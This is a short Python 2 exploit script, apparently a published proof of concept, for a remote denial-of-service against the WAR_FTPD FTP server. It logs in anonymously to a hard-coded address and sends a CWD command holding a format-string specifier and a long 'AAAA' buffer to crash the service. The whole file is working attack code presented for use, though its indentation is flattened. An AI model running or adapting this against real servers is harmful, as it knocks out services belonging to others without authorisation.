import sys
import ftplib

print "WAR_FTPD Remote Denial Of Service (DOS)"
print "Copyright (c) Joxean Koret"
print

target = "192.168.1.13"
targetPort = "21"

try:
ftp = ftplib.FTP()

print "[+] Connecting to target "
msg = ftp.connect(target, targetPort)
print "[+] Ok. Target banner"
print msg
print
print "[+] Trying to logging anonymously"
msg = ftp.login() # Anonymous
print "[+] Ok. Message"
print msg
print
except:
print "[!] Exploit doesn't work. " + str(sys.exc_info()[1])
sys.exit(0)

a = "%s%s"
"""
for i in range(0):
a += a
"""
b = "AAAA"

for i in range(6):
b += b

a = a + b

print "[+] Exploiting with a buffer of " + str(len(a)) + " byte(s) ... "

try:
ftp.cwd(a)
except:
print "[+] Exploit apparently works. Trying to verify it ... "